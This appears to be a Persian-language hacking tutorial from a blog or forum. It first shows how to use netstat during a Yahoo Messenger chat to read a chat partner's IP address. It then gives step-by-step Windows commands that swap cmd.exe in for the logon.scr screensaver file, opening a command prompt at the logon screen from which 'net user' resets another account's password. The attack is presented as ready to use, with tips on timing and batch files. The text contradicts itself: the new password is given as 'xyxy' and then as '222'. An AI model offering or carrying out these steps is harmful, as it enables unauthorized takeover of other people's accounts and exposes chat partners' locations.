هنگامی که شما در Chat با کسی در حال رد وبدل کردن اطلاعات هستید در ابتدا جهت این برقراری سیستم عامل یک سوکت برای شما باز می کند.﴿به مجموعه یک آدرس IP و یک Port سوکت می گویند که بصورت زیر نمایش داده می شود. IP Address:Port Number 192.168.1.1:80 Localhost:5050 ﴾

قبل از ادامه ابتدا در مورد Port توضیح مختصری بدهیم:Port یک شماره است که به برنامه هایی که در خواست Connect به اینترنت را دارند داده می شود یک نسبت است ولی اینجا ما با یک مثال نا درست سعی می کنیم مفهوم ‍Port را بیشتر جا بیاندازیم فرض کنید یک قلعه بزرگ با درهای بسیار زیاد جهت ورود و خروج افراد دارید در این قلعه هر در دارای یک شماره است و هر در مربوط به ورود و خروجی افراد اجتماع با طبقات اجتماعی مختلف است افراد فقیر از درب ۱۰ ،متوسط از درب ۵ ،پولدار از درب ۲ و ... که بصورت فقیر:۱۰،متوسط:۵ ، پولدار :۲ نشان داده می شوند.یا مانند دوند های دو میدانی که بر پشت پیراهن آنها یک شماره جهت مشخص شدن وجود دارد.

در Chat نیز به همین صورت است که شما پش از اتصال به ارتباط میان شما و دوست دیگر تان یک سوکت اطلاق می شود و این سوکت﴿IP:Port﴾ شما می توانید به سادگی از طریق فرمان Netstat بیرون بکشید.

جهت این کار ابتدا شما باید فقط در Chat میان خود و یک نفر ارتباط وجود داشته باشد﴿با تمرین زیاد و کسب مهارت دیگر نیاز به این کار نخواهید داشت ﴾ و بعد از آن از منوی Start گزینه Run را کلیک کرده و در آن عبارت Command را می نویسید و سپس اینتر می کنید حال در پنجره با شده فرمان زیر را بنویسید:

C:\>Netstat 3

Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1025 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1027 0.0.0.0:0 LISTENING

سپس اینتر می زنیم توجه کنید که پس از اینتر زدن تمامی سوکتهای با ز شده میان برنامه های سیستم شما و اینترنت نمایش داده می شود در جلوی تمامی ارتباطاتی که برقرار است کلمه Established وجود دارد و تمامی برنامه هایی که منتظر ارتباطی هستند﴿Danger﴾کلمه LISTENINGوجود دارد.شما در این لیست بدنبال کلمه Yahoo باشید و به Port آن توجه کنید که ۵۰۵۰ در جلوی آن درج شده بعد از این سوکت سوکت بعدی آدرس شمادر قسمت Local Addressو آدرس دوست شما در قسمت Foreign Address و در قسمت State حالت اتصال را Established مغرفی کرده که به معنای براقراری اتصال است. و در قسمت Proto نوع پروتکلی را که اطلاعات با آن ردوبدل می شود نمایش داده می شود.

Active Connections

Proto Local Address Foreign Address State
TCP XXXX:1037 cs20.msg.dcn.yahoo.com:5050 ESTABLISHED
>>>>><<<<<-------------------------------------------------------------------------
TCP XXXX:1073 toolbar.google.com:80 ESTABLISHED
TCP XXXX:1097 216.239.59.99:80 ESTABLISHED
TCP XXXX:1099 66.102.7.104:80 ESTABLISHED
TCP XXXX:1102 home.earthlink.net:80 ESTABLISHED
TCP XXXX:1106 home.earthlink.net:80 ESTABLISHED
TCP XXXX:1112 63.240.15.144:80 ESTABLISHED


در قسمت خط چین تمامی مشخصات دوست شما وجود دراد

خیلی باحاله دانلود کنید

دانلود

1-به Start > Run بروید و فرمان CMD را تایپ کرده Enter را بزنید.
2-در پنجره ی باز شده این فرمان‌ها را بدون عیب و نقص اجرا کنید :

 cd\
cd\windows\system32
mkdir hackpass
copy logon.scr hackpass \logon.scr
copy cmd.exe hackpass \cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit
با این کار در حقیقت پرامت داس را بجایScreen Saver به ویندوز معرفی می‌کنید و این کار، ویندوز را ناپایدار می‌کند.
فقط توصیه میکنم دستورهای del و rename خیلی سریع انجام شوند (میتوانید کل پروسه را در یک فایل bat قرار دهید)  این دو خط دستور را باید در عرض کمتر 2 ثانیه انجام دهید تا فایل های مورد نظر توسط ویندوز جایگزین نشوند
3-کامپیوتر را Restart نمایید.
4-Screen Saver ویندوز را فعال نمایید یا منتظر بمانید تا خود بخود اجرا شود.خواهید دید که، بجای Screen Saver، خط فرمان DOS ظاهر می‌شود.
5-اکنون اگر مثلا User name آن ariya بود و خواستید پسورد آن را به xyxy تغییر دهید، این فرمان را در پرامپت DOS انجام دهید :

net user ariya xyxy

به این ترتیب پسورد به 222 تغییر خواهد یافت.

نکته: حتما بعد از پایان کار دو فایلی را که در پوشه ‌ hackpass کپی کردید را به جای اول برگردانید